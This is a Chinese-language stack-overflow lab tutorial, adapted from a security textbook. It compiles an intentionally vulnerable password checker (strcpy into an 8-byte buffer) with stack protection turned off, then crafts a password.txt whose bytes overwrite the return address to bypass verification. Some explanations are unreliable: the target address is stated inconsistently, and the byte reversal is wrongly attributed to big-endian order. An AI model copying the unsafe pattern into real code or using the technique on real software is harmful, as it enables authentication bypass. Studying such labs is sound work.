栈溢出基础实验

修改函数返回地址,原理是利用栈溢出修改函数返回地址。

//file: main.c

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define PASSWORD "1234567"

int verify_password(char *password)
{
    int authenticated;
    char buffer[8];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);
    return authenticated;
}

int main()
{
    int valid_flag=0;
    char password[1024];
    FILE *fp;
    if(! (fp=fopen("password.txt","rb")) )
    {
        fprintf(stderr,"Error :there is no password.txt here\n");
        exit(0);
    }

    fscanf(fp,"%s",password);
    valid_flag=verify_password(password);

    if(valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("congratulation! you passed the verification!\n");
    }

    fclose(fp);
}

编译器:VS2017 x86

编译选项:/GS- //GS为安全检测选项,vs2017默认开启/GS选项,/GS实验会使本实验失败

**********************************************************************
** Visual Studio 2017 Developer Command Prompt v15.8.1
** Copyright (c) 2017 Microsoft Corporation
**********************************************************************
[vcvarsall.bat] Environment initialized for: 'x86'

D:\test>cl main.c /GS-
Microsoft (R) C/C++ Optimizing Compiler Version 19.15.26726 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

main.c
Microsoft (R) Incremental Linker Version 14.15.26726.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:main.exe
main.obj

用键盘输入字符的ASCIl表示范围有限,很多值(如0x11、0x12等符号)无法直接用键盘输入,所以将程序的输入为从文件中读取字符串。

开始动手之前,我们先理清思路,看看要达到实验目的我们都需要做哪些工作。

(1)要摸清楚栈中的状况,如函数地址距离缓冲区的偏移量等。这虽然可以通过分析代码得到,但我还是推荐从动态调试中获得这些信息。

(2)要得到程序中密码验证通过的指令地址,以便程序直接跳去这个分支执行。

(3)要在password.xt文件的相应偏移处填上这个地址。

这样verify-password函数返回后就会直接跳转到验证通过的正确分支去执行了。

首先用IDA加载得到可执行PE文件,如下所示。

.text:00131040 ; =============== S U B R O U T I N E =======================================
.text:00131040
.text:00131040 ; Attributes: bp-based frame
.text:00131040
.text:00131040 sub_131040      proc near               ; CODE XREF: start-8D↓p
.text:00131040
.text:00131040 var_408         = byte ptr -408h
.text:00131040 var_8           = dword ptr -8
.text:00131040 var_4           = dword ptr -4
.text:00131040
.text:00131040                 push    ebp
.text:00131041                 mov     ebp, esp
.text:00131043                 sub     esp, 408h
.text:00131049                 mov     [ebp+var_8], 0
.text:00131050                 push    offset aRb      ; "rb"
.text:00131055                 push    offset aPasswordTxt ; "password.txt"
.text:0013105A                 call    sub_1349EC
.text:0013105F                 add     esp, 8
.text:00131062                 mov     [ebp+var_4], eax
.text:00131065                 cmp     [ebp+var_4], 0
.text:00131069                 jnz     short loc_13108A
.text:0013106B                 push    offset aErrorThereIsNo ; "Error :there is no password.txt here\n"
.text:00131070                 push    2
.text:00131072                 call    sub_1347CC
.text:00131077                 add     esp, 4
.text:0013107A                 push    eax
.text:0013107B                 call    sub_131170
.text:00131080                 add     esp, 8
.text:00131083                 push    0               ; uExitCode
.text:00131085                 call    sub_13AD0A
.text:0013108A
.text:0013108A loc_13108A:                             ; CODE XREF: sub_131040+29↑j
.text:0013108A                 lea     eax, [ebp+var_408]
.text:00131090                 push    eax
.text:00131091                 push    offset aS       ; "%s"
.text:00131096                 mov     ecx, [ebp+var_4]
.text:00131099                 push    ecx
.text:0013109A                 call    sub_1311B0
.text:0013109F                 add     esp, 0Ch
.text:001310A2                 lea     edx, [ebp+var_408]
.text:001310A8                 push    edx
.text:001310A9                 call    sub_131000
.text:001310AE                 add     esp, 4
.text:001310B1                 mov     [ebp+var_8], eax
.text:001310B4                 cmp     [ebp+var_8], 0
.text:001310B8                 jz      short loc_1310C9
.text:001310BA                 push    offset aIncorrectPassw ; "incorrect password!\n"
.text:001310BF                 call    sub_1311F0
.text:001310C4                 add     esp, 4
.text:001310C7                 jmp     short loc_1310D6
.text:001310C9 ; ---------------------------------------------------------------------------
.text:001310C9
.text:001310C9 loc_1310C9:                             ; CODE XREF: sub_131040+78↑j
.text:001310C9                 push    offset aCongratulation ; "congratulation! you passed the verifica"...
.text:001310CE                 call    sub_1311F0
.text:001310D3                 add     esp, 4
.text:001310D6
.text:001310D6 loc_1310D6:                             ; CODE XREF: sub_131040+87↑j
.text:001310D6                 mov     eax, [ebp+var_4]
.text:001310D9                 push    eax
.text:001310DA                 call    sub_1348C6
.text:001310DF                 add     esp, 4
.text:001310E2                 jmp     short loc_1310E6
.text:001310E4 ; ---------------------------------------------------------------------------
.text:001310E4                 jmp     short loc_1310E8
.text:001310E6 ; ---------------------------------------------------------------------------
.text:001310E6
.text:001310E6 loc_1310E6:                             ; CODE XREF: sub_131040+A2↑j
.text:001310E6                 xor     eax, eax
.text:001310E8
.text:001310E8 loc_1310E8:                             ; CODE XREF: sub_131040+A4↑j
.text:001310E8                 mov     esp, ebp
.text:001310EA                 pop     ebp
.text:001310EB                 retn
.text:001310EB sub_131040      endp ; sp-analysis failed
.text:001310EB
.text:001310EB ; ---------------------------------------------------------------------------
.text:001310EC                 align 10h
.text:001310F0
.text:001310F0 ; =============== S U B R O U T I N E =======================================
.text:00131000 ; =============== S U B R O U T I N E =======================================
.text:00131000
.text:00131000 ; Attributes: bp-based frame
.text:00131000
.text:00131000 sub_131000      proc near               ; CODE XREF: sub_131040+69↓p
.text:00131000
.text:00131000 var_C           = byte ptr -0Ch
.text:00131000 var_4           = dword ptr -4
.text:00131000 arg_0           = dword ptr  8
.text:00131000
.text:00131000                 push    ebp
.text:00131001                 mov     ebp, esp
.text:00131003                 sub     esp, 0Ch
.text:00131006                 push    offset a1234567 ; "1234567"
.text:0013100B                 mov     eax, [ebp+arg_0]
.text:0013100E                 push    eax
.text:0013100F                 call    sub_13A860
.text:00131014                 add     esp, 8
.text:00131017                 mov     [ebp+var_4], eax
.text:0013101A                 mov     ecx, [ebp+arg_0]
.text:0013101D                 push    ecx
.text:0013101E                 lea     edx, [ebp+var_C]
.text:00131021                 push    edx
.text:00131022                 call    sub_13A8F0
.text:00131027                 add     esp, 8
.text:0013102A                 mov     eax, [ebp+var_4]
.text:0013102D                 mov     esp, ebp
.text:0013102F                 pop     ebp
.text:00131030                 retn
.text:00131030 sub_131000      endp
.text:00131030
.text:00131030 ; ---------------------------------------------------------------------------
.text:00131031                 align 10h
.text:00131040
.text:00131040 ; =============== S U B R O U T I N E =======================================

阅读上面显示的反汇编代码,可以知道通过验证的程序分支的指令地址为0x001310C7。0x001310A9处的函数调用就是verify_pasword函数,之后在0x001310B1处将EAX中的函数返回值取出,在0x001310B4处与0比较,然后决定跳转到提示验证错误的分支或提示验证通过的分支。

调用verify_password的时候。如果我们把返回地址覆盖成这个0x001310C9地址,那么在0x001310A9处的函数调用返回后,程序将跳转到验证通过的分支,而不是进入0x001310C7处分支判断代码。这样我们就可以按照如下方法构造password.xt中的数据。

仍然出于字节对齐、容易辨认的目的,我们将“1234”作为一个输入单元。buffer[8]共需要两个这样的单元。第3个输入单元将authenticated覆盖;第4个输入单元将前栈帧EBP值覆盖:第5个输入单元将返回地址覆盖。为了把第5个输入单元的ASCⅡ码值0x修改成验证通过分支的指令地址0x001310C9,我们将借助十六进制编辑工具Notepad++的HexEdit插件或者vscode的hexdump插件来完成(Ox40、0x11等ASCIⅡ码对应的符号很难用键盘输入)。

步骤1:创建一个名为password.xt的文件,并用编辑器打开,在其中写入5个“1234”后保存到与实验程序同名的目录下。

  Offset: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   
00000000: 31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34    1234123412341234
00000010: 31 32 33 34                                        1234

步骤2:使用编辑器的hex编辑模式

步骤3:将最后4个字节修改成新的返回地址,注意这里是按照“内存数据”排列的,由于“大顶机”的缘故,为了让最终的“数值数据”为0x001310C9,我们需要逆序输入这4个字节。

  Offset: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   
00000000: 31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34    1234123412341234
00000010: C9 10 13 00                                        I...

在运行该程序时便完成了栈溢出攻击。

由于栈内EBP等被覆盖为无效值,使得程序在退出时堆栈无法平衡,导致崩溃。虽然如此,我们已经成功地淹没了返回地址,并让处理器如我们设想的那样,在函数返回时直接跳转到了提示验证通过的分支。

改编自0day安全:软件漏洞分析技术(第二版)